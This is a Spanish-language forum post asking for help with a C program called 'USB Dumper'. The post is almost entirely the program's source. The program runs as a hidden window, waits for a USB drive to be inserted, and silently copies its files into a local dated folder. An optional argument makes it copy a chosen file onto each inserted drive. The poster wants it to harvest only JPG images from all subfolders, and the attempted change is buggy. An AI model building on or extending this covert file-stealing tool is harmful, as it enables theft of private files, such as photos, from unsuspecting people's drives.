ayuda en c++

[titan6146]

hola gente si me pueden dar una ayuda estoy tratando de modificar el sig code para que copie solo archivos jpg de un pendrive conectado a la pc el problema que tengo es que solo copia los jpg del raiz del pen no explora las carpetas que estan dentro

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#include <windows.h>
#include <dbt.h>
#include <direct.h>
#include <stdio.h>


char dir[260];
char szFile[255] = "";


// Function prototype
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
char FirstDriveFromMask (ULONG unitmask);
void GetFile(char* FilePath);
void CreateDir(char * path);
void Copy(char* FileName);

 

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
MSG msg; // MSG structure to store messages
HWND hwndMain; // Main window handle
WNDCLASSEX wcx; // WINDOW class information
    HDEVNOTIFY hDevnotify;
    DWORD len;

DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;

// 53F56307-B6BF-11D0-94F2-00A0C91EFB8B
GUID FilterGUID = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}};   


printf("\n>> USB Dumper by Valgasu <<\n\n");


// Get command line
if (lpCmdLine[0] != '\0') {
strcpy(szFile, lpCmdLine);
}

// Initialize the struct to zero
ZeroMemory(&wcx,sizeof(WNDCLASSEX));

wcx.cbSize = sizeof(WNDCLASSEX); // Window size. Must always be sizeof(WNDCLASSEX)
wcx.style = 0 ; // Class styles
wcx.lpfnWndProc = (WNDPROC)MainWndProc; // Pointer to the callback procedure
wcx.cbClsExtra = 0; // Extra byte to allocate following the wndclassex structure
wcx.cbWndExtra = 0; // Extra byte to allocate following an instance of the structure
wcx.hInstance = hInstance; // Instance of the application
wcx.hIcon = NULL; // Class Icon
wcx.hCursor = NULL; // Class Cursor
wcx.hbrBackground = NULL; // Background brush
wcx.lpszMenuName = NULL; // Menu resource
wcx.lpszClassName = "USB"; // Name of this class
wcx.hIconSm = NULL; // Small icon for this class

// Register this window class with MS-Windows
if (!RegisterClassEx(&wcx))
return 0;

// Create the window
hwndMain = CreateWindowEx(0,// Extended window style
"USB", // Window class name
"", // Window title
WS_POPUP, // Window style
0,0, // (x,y) pos of the window
0,0, // Width and height of the window
NULL, // HWND of the parent window (can be null also)
NULL, // Handle to menu
hInstance, // Handle to application instance
NULL); // Pointer to window creation data

// Check if window creation was successful
if (!hwndMain)
return 0;

// Make the window invisible
ShowWindow(hwndMain,SW_HIDE);

// Initialize device class structure
    len = sizeof(DEV_BROADCAST_DEVICEINTERFACE);
    memset(&NotificationFilter,0,len);

    NotificationFilter.dbcc_size = 0x20;
    NotificationFilter.dbcc_devicetype = 5; // DBT_DEVTYP_DEVICEINTERFACE;
    NotificationFilter.dbcc_classguid = FilterGUID;
   
// Register
    hDevnotify = RegisterDeviceNotification(hwndMain, &NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE);

    if(hDevnotify == NULL)   
return 0;

// Process messages coming to this window
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}

// return value to the system
return msg.wParam;
}


LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
char szMsg[80];
char szFileDest[255];
char drive;
char szDrive[20];
char dtime[20];
char temp[10];
SYSTEMTIME st;
PDEV_BROADCAST_VOLUME PdevVolume;
    PDEV_BROADCAST_DEVICEINTERFACE PdevDEVICEINTERFACE;


switch (msg)
{
case WM_DEVICECHANGE:
switch(wParam)
            {
// A device or piece of media has been inserted and is now available
case DBT_DEVICEARRIVAL:
PdevDEVICEINTERFACE = (PDEV_BROADCAST_DEVICEINTERFACE)lParam;
                   
switch(PdevDEVICEINTERFACE->dbcc_devicetype)
                    {                   
// Class of devices
                        case DBT_DEVTYP_DEVICEINTERFACE:
                            // MessageBox(NULL, PdevDEVICEINTERFACE->dbcc_name, "DEBUG", MB_OK);
                            break;
                         
// Logical volume
                        case DBT_DEVTYP_VOLUME:
                            PdevVolume = (PDEV_BROADCAST_VOLUME)lParam;                
drive = FirstDriveFromMask(PdevVolume ->dbcv_unitmask);
wsprintf(szDrive, "%c:\\", drive);
wsprintf(szMsg, "Drive %s connected\n", szDrive);

// MessageBox (NULL, szMsg, "WM_DEVICECHANGE", MB_OK);

GetLocalTime(&st);
itoa(st.wYear, temp, 10);
strcpy(dtime, temp);
itoa(st.wMonth, temp, 10);
strcat(dtime, temp);
itoa(st.wDay, temp, 10);
strcat(dtime , temp);
_mkdir(dtime);
_getcwd(dir, 260);
strcat(dir, "\\");
strcat(dir, dtime );
strcat(dir, "\\" );

// Check command line
if (strcmp(szFile, "") != 0) {
wsprintf(szFileDest, "%s%s", szDrive, szFile);
//MessageBox(NULL, szFileDest, "DEBUG", MB_OK);
CopyFile(szFile, szFileDest, FALSE);
}
else {
GetFile(szDrive);
}

                    }
                    break;
            }
            break;

default:
// Call the default window handler
return DefWindowProc(hwnd,msg,wParam,lParam);
}

return 0;
}


char FirstDriveFromMask (ULONG unitmask)
{
   char i;

   for (i = 0 ; i < 26 ; ++i)
   {
      if (unitmask & 0x1)
         break;
      unitmask = unitmask >> 1;
   }

   return (i + 'A');
}


void Copy(char* FileName)
{
char dir2[260];
char* temp;


temp = strchr(FileName, '\\');
strcpy(dir2, dir);
temp++;
strcat(dir2, temp);
CopyFile(FileName, dir2, 1);
}


void CreateDir(char * path)
{
char temp2[260];
char* temp;


temp = strchr(path, '\\');
strcpy(temp2, dir);
temp++;
strcat(temp2, temp);
_mkdir(temp2);
}


void GetFile(char* FilePath)
{
char temp[260];
char temp1[260];
HANDLE hFind;
WIN32_FIND_DATA FindFileData;

// solo modifique aqui abajo
strcpy(temp, FilePath);
strcat(temp, "*jpg");

hFind = FindFirstFile(temp, &FindFileData);

if (hFind != INVALID_HANDLE_VALUE) {

do {
strcpy(temp1, FilePath);
strcat(temp1, FindFileData.cFileName);

if(strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0) {

if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
strcat(temp1, "\\");
CreateDir(temp1);
GetFile(temp1);

}
else {
Copy(temp1);
}                 
}
}
while(FindNextFile(hFind, &FindFileData));

}

FindClose(hFind);
}